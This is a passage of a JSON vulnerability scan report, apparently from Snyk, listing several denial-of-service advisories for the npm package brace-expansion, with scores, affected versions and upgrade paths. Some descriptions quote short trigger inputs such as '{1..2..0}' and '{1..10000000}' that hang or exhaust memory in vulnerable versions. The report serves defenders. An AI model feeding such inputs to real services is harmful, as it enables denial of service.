"2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to 